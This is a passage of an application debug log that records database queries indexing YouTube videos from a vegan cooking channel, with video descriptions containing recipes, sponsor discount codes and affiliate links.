\u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free)", 1, nil, false, "Zh1fGRu5QPM", "https://www.youtube.com/watch?v=Zh1fGRu5QPM", "/downloads/downloads/alec/Steamy Vegan/2025-03-30 VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free)/VEGAN Protein Pancakes! 🥞 (High Protein Vegan and Gluten Free) [Zh1fGRu5QPM].NA", false, ~U[2025-03-30 00:00:00Z]] 20:31:06.872 [debug] QUERY OK source="sources" db=0.8ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.875 [debug] QUERY OK source="media_items" db=2.3ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 00:00:00Z], 1] 20:31:06.877 [debug] QUERY OK source="media_items" db=1.3ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Complement for sponsoring today's video! \n\n💊🥬 Get 15% off Complement Essentials multivitamin and all other Complement products by using my discount code STEAMYVEGAN at checkout\n🔗: https://lovecomplement.com/pages/comp...\n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nIn this what I eat in a day, I'll be making 3 healthy, high-protein, vegan recipes that are great for meal prep. I've been making tons of easy vegan and gluten-free recipes lately and these ones all take less than 20 minutes of prep time.\n\nI also mentioned the Complement ForHer Hormonal Support vitamin in this episode which you can find at the below link, loving this product, HIGHLY recommend!:\nhttps://lovecomplement.com/products/c...\n\nCheck out my blog for the CASHEW CHEESE SAUCE and TVP BACON CRUMBLES featured in the Mac and Greens recipe! ➡️ https://steamyvegan.com/bacon-cheeseb...\nCHIA JAM ➡️ https://steamyvegan.com/chia-jam/\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more)", "4233be31-ded9-437f-8d97-a03d17156ec2", 1, [], false, "I5jRQmTl6lc", "https://www.youtube.com/watch?v=I5jRQmTl6lc", 102, "/downloads/downloads/alec/Steamy Vegan/2025-03-28 What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more)/What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more) [I5jRQmTl6lc].NA", false, false, false, 1, ~U[2025-03-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Thank you to Complement for sponsoring today's video! \n\n💊🥬 Get 15% off Complement Essentials multivitamin and all other Complement products by using my discount code STEAMYVEGAN at checkout\n🔗: https://lovecomplement.com/pages/comp...\n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nIn this what I eat in a day, I'll be making 3 healthy, high-protein, vegan recipes that are great for meal prep. I've been making tons of easy vegan and gluten-free recipes lately and these ones all take less than 20 minutes of prep time.\n\nI also mentioned the Complement ForHer Hormonal Support vitamin in this episode which you can find at the below link, loving this product, HIGHLY recommend!:\nhttps://lovecomplement.com/products/c...\n\nCheck out my blog for the CASHEW CHEESE SAUCE and TVP BACON CRUMBLES featured in the Mac and Greens recipe! ➡️ https://steamyvegan.com/bacon-cheeseb...\nCHIA JAM ➡️ https://steamyvegan.com/chia-jam/\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more)", 1, nil, false, "I5jRQmTl6lc", "https://www.youtube.com/watch?v=I5jRQmTl6lc", "/downloads/downloads/alec/Steamy Vegan/2025-03-28 What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more)/What I Eat in a Day! 🌱 Healthy, High Protein Vegan Recipes (Cashew Cheese Sauce, Chia Jam and more) [I5jRQmTl6lc].NA", false, ~U[2025-03-28 00:00:00Z]] 20:31:06.879 [debug] QUERY OK source="sources" db=0.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.881 [debug] QUERY OK source="media_items" db=2.3ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 00:00:00Z], 1] 20:31:06.883 [debug] QUERY OK source="media_items" db=1.8ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've found a way to make everyone's favourite apple crumble recipe high protein and healthier with one special ingredient! This easy dump and bake apple crumble casserole recipe is vegan, gluten-free, and has 14g of protein and 250 calories per bowl making it great for weight loss or those on a high protein vegan diet. \n\n💪🏼 Protein Powder Featured in this Episode\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFull recipe for HIGH-PROTEIN PEAR APPLE CRUMBLE is on my blog! ➡️ https://steamyvegan.com/high-protein-...\n\n\nIf you enjoyed these vegan and gluten-free recipes then you might also love to watch these ones:\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nProtein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3 Easy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n6 Ingredient Healthy Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient)", "b79ab8cb-053e-4d73-b8bb-df9a8ea6b7e6", 1, [], false, "RuQPvDQI3Uc", "https://www.youtube.com/watch?v=RuQPvDQI3Uc", 103, "/downloads/downloads/alec/Steamy Vegan/2025-03-25 High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient)/High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient) [RuQPvDQI3Uc].NA", false, false, false, 2, ~U[2025-03-25 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I've found a way to make everyone's favourite apple crumble recipe high protein and healthier with one special ingredient! This easy dump and bake apple crumble casserole recipe is vegan, gluten-free, and has 14g of protein and 250 calories per bowl making it great for weight loss or those on a high protein vegan diet. \n\n💪🏼 Protein Powder Featured in this Episode\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nFull recipe for HIGH-PROTEIN PEAR APPLE CRUMBLE is on my blog! ➡️ https://steamyvegan.com/high-protein-...\n\n\nIf you enjoyed these vegan and gluten-free recipes then you might also love to watch these ones:\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nProtein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3 Easy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n6 Ingredient Healthy Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nFor Business Inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient)", 1, nil, false, "RuQPvDQI3Uc", "https://www.youtube.com/watch?v=RuQPvDQI3Uc", "/downloads/downloads/alec/Steamy Vegan/2025-03-25 High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient)/High Protein Apple Crumble! 🍎 🤫 (with a SECRET Ingredient) [RuQPvDQI3Uc].NA", false, ~U[2025-03-25 00:00:00Z]] 20:31:06.885 [debug] QUERY OK source="sources" db=1.1ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.887 [debug] QUERY OK source="media_items" db=1.9ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-22 00:00:00Z], 1] 20:31:06.889 [debug] QUERY OK source="media_items" db=1.6ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These easy and healthy vegan recipes only have 6 ingredients each and take under 20 minutes to make while being high-protein, gluten-free, and low calorie. They're perfect for weight loss and muscle gain and should definitely be a part of your next vegan meal prep!\n\nFlavrbombs Discount: 10% off your purchase with code STEAMYVEGAN at flavrbombs.com\n\nAll recipes coming to blog soon! \nLemony Tomato Beans ➡️ https://steamyvegan.com/lemony-tomato...\nVegan Tikka Masala ➡️ https://steamyvegan.com/vegan-tikka-m...\n\n*Korean Rice Balls (Jumeokbap)*\n2 heaping cups cooked rice, day old\n½ tbsp toasted sesame oil\n3 green onions, diced\n1 tbsp rice vinegar\n5 Roasted nori snack sheets, crumbled\nOptional filling: cooked vegan beef crumbles or TVP, chickpea tuna salad, tofu scramble\n\n1. In a large mixing bowl combine the rice, sesame oil and rice vinegar and stir to combine until the oil has coated all the rice. Stir in the green onion and crumble in the nori sheets. \n2. Using a large piece of plastic wrap, scoop ⅓ cup portions of the rice mixture into the palm of your hand over the plastic wrap. Form the rice into a compact flat disk and then using your fingers impress a little indent in the centre, like your making a little bowl.\n3. Unwrap the plastic from on top add 2 tbsp of your filling of choice into the centre, pressing down. Add another ⅓ cup portion of rice on top, wrap in the plastic and firmly press and shape the rice into a ball. Repeat until you have no rice remaining.\n4. Refrigerate for at least 30 minutes before enjoying, or air fry them at 400F for 25 minutes until crisped on the outside (my personal fave!)\n\n\n\nIf you enjoyed these vegan and gluten-free recipes then you might also love to watch these ones:\n3 Easy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nHealthy Meal Prep Casado: \u00A0\u00A0\u00A0•\u00A0I'm\u00A0meal\u00A0prepping\u00A0this\u00A0healthy\u00A0vegan\u00A0recip...\u00A0\u00A0\n5 Ingredient Healthy Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Ingredient\u00A0Recipes!\u00A0Vegan,\u00A0Gluten-Free\u00A0O...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans", "4372919c-e7c2-495d-8341-d47876b4f15f", 1, [], false, "-6T0Nb91azc", "https://www.youtube.com/watch?v=-6T0Nb91azc", 104, "/downloads/downloads/alec/Steamy Vegan/2025-03-22 3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans/3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans [-6T0Nb91azc].NA", false, false, false, 1, ~U[2025-03-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These easy and healthy vegan recipes only have 6 ingredients each and take under 20 minutes to make while being high-protein, gluten-free, and low calorie. They're perfect for weight loss and muscle gain and should definitely be a part of your next vegan meal prep!\n\nFlavrbombs Discount: 10% off your purchase with code STEAMYVEGAN at flavrbombs.com\n\nAll recipes coming to blog soon! \nLemony Tomato Beans ➡️ https://steamyvegan.com/lemony-tomato...\nVegan Tikka Masala ➡️ https://steamyvegan.com/vegan-tikka-m...\n\n*Korean Rice Balls (Jumeokbap)*\n2 heaping cups cooked rice, day old\n½ tbsp toasted sesame oil\n3 green onions, diced\n1 tbsp rice vinegar\n5 Roasted nori snack sheets, crumbled\nOptional filling: cooked vegan beef crumbles or TVP, chickpea tuna salad, tofu scramble\n\n1. In a large mixing bowl combine the rice, sesame oil and rice vinegar and stir to combine until the oil has coated all the rice. Stir in the green onion and crumble in the nori sheets. \n2. Using a large piece of plastic wrap, scoop ⅓ cup portions of the rice mixture into the palm of your hand over the plastic wrap. Form the rice into a compact flat disk and then using your fingers impress a little indent in the centre, like your making a little bowl.\n3. Unwrap the plastic from on top add 2 tbsp of your filling of choice into the centre, pressing down. Add another ⅓ cup portion of rice on top, wrap in the plastic and firmly press and shape the rice into a ball. Repeat until you have no rice remaining.\n4. Refrigerate for at least 30 minutes before enjoying, or air fry them at 400F for 25 minutes until crisped on the outside (my personal fave!)\n\n\n\nIf you enjoyed these vegan and gluten-free recipes then you might also love to watch these ones:\n3 Easy Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nHealthy Meal Prep Casado: \u00A0\u00A0\u00A0•\u00A0I'm\u00A0meal\u00A0prepping\u00A0this\u00A0healthy\u00A0vegan\u00A0recip...\u00A0\u00A0\n5 Ingredient Healthy Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Ingredient\u00A0Recipes!\u00A0Vegan,\u00A0Gluten-Free\u00A0O...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans", 1, nil, false, "-6T0Nb91azc", "https://www.youtube.com/watch?v=-6T0Nb91azc", "/downloads/downloads/alec/Steamy Vegan/2025-03-22 3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans/3 Easy Healthy Vegan Recipes Under 20 Minutes - Korean Rice Balls, Tofu Tikka Masala, Tomato Beans [-6T0Nb91azc].NA", false, ~U[2025-03-22 00:00:00Z]] 20:31:06.890 [debug] QUERY OK source="sources" db=1.0ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.893 [debug] QUERY OK source="media_items" db=2.2ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-18 00:00:00Z], 1] 20:31:06.896 [debug] QUERY OK source="media_items" db=2.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This meal prep friendly vegan recipe is high-protein, gluten-free and the perfect dish to add to your weekly meal prep! I took one of the most popular dishes in Costa Rica and turned it into this healthy vegan version of a Casado. A traditional Costa Rican casado is a filling combo plate made of rice, beans, cooked plantains, a side salad or veggies, often served with a protein like meat, and cooked veggies. It’s basically the national dish of Costa Rica and you can find a bajillion variations of them there.!\n\nWHY I LOVE CASADOS\n🌱 Very nourishing and balanced\nGreat mix of energy-boosting carbs, proteins and healthy fats\nMade from whole foods and lots of veggies\nA filling meal for physically active people\n\n🌱 Barely have to think\nThe options are endlessly customizable based on what you have\nCan use any variety of rice; canned beans are great, jarred salsa, too\nFresh veggies or a simple side salad\nYour favourite way of cooking tofu\n\n🌱 Meal prep friendly\nBig batch of rice can be cooked at start of week\nCan bake several sweet potatoes, or combination of plantains\nCook a batch of your favourite style of tofu\n\nLooking for more healthy meal prep ideas, check out some of these recent episodes⬇️ \nWhat I Eat in a Day, Meal Prep Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0HEALTHY\u00A0Vegan\u00A0Meal\u00A0Pr...\u00A0\u00A0\n3 Meal Prep Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Bacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\n⬇️ RECIPES BELOW ⬇️\n**Gallo Pinto (Black Beans & Rice)\n3 cups day old cooked rice\n2 cups cooked/canned black beans, not drained or rinsed\n½ red bell pepper, diced\n1 onion, diced\n4 cloves garlic, minced\n1 tsp hot sauce\n2 tbsp worcestershire sauce\n½ tsp cumin\n1 handful fresh cilantro, finely chopped\n\n1. Heat 1 tbsp oil in a large skillet over medium high heat, then add the bell pepper, onion, and garlic and sauté for 3 minutes until slightly softened.\n2. Stir in the black beans with their liquid, plus the hot sauce, worcestershire and cumin. Cook a further 5 minutes or so until the liquid in the pan has reduced a lot and thickened up.\n3. Fold in the rice until well combined and cook until heated through. Remove from the heat and fold in the cilantro. Serve with a lime wedge.\n\n*Cilantro Lime Tofu*\n1 block firm or extra firm tofu, pressed\nJuice of 1 lime\n1 tbsp soy sauce\n1 clove garlic, minced\n½ tsp cumin\nPinch of red chili flakes\n2 to 3 tbsp fresh cilantro, finely minced\n\n1. In a jar combine the lime juice, soy sauce, garlic, cumin, chili flakes and cilantro. \n2. Cut the tofu into 1” cubes and place in a square container. Pour over the marinade, seal with a lid, give a few shakes and let marinate for 20 to 30 minutes.\n3. Warm 1 tbsp oil in a large skillet over medium heat and add the pieces of marinated tofu one by one. Brown each side of the tofu for 2 minutes and repeat until all pieces of tofu are cooked.\n\n*Fried Plantains*\n1 to 2 ripe plantains, diagonally sliced in ½” pieces\n1 to 2 tbsp oil for frying\nPinch of salt\n\n1. Warm the oil in a medium skillet over medium heat. Add the plantain slices one by one with a tiny pinch of salt and fry over medium heat for 4 to 6 minutes on each side, until golden brown and crisped.\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: 